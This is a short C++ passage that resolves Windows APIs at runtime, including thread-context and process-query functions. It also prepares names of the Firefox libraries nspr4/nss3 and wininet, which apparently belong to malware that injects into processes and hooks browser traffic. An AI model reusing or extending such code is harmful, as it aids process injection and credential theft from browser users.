   Funcs::pNtQueryInformationProcess      = (Types::T_NtQueryInformationProcess)      Funcs::pGetProcAddress(hNtdll, Strs::ntQueryInformationProcess);
   Funcs::pGetThreadContext               = (Types::T_GetThreadContext)               Funcs::pGetProcAddress(hKernel32, Strs::getThreadContext);
   Funcs::pSetThreadContext               = (Types::T_SetThreadContext)               Funcs::pGetProcAddress(hKernel32, Strs::setThreadContext);
   Funcs::pSHFileOperationA               = (Types::T_SHFileOperation)                Funcs::pGetProcAddress(hShell32, Strs::shFileOperationA);
   Funcs::pFindFirstFileA                 = (Types::T_FindFirstFile)                  Funcs::pGetProcAddress(hKernel32, Strs::findFirstFileA);
   Funcs::pFindNextFileA                  = (Types::T_FindNextFile)                   Funcs::pGetProcAddress(hKernel32, Strs::findNextFileA);

   //wide strings
   Strs::wNtdll      = Utf8toUtf16(Strs::ntdll);
   Strs::wNspr4dll   = Utf8toUtf16(Strs::nspr4dll);
   Strs::wNss3dll    = Utf8toUtf16(Strs::nss3dll);
   Strs::wWininet    = Utf8toUtf16(Strs::wininet);
   Strs::wKernel32   = Utf8toUtf16(Strs::kernel32);
   Strs::wKernelBase = Utf8toUtf16(Strs::kernelBase);
}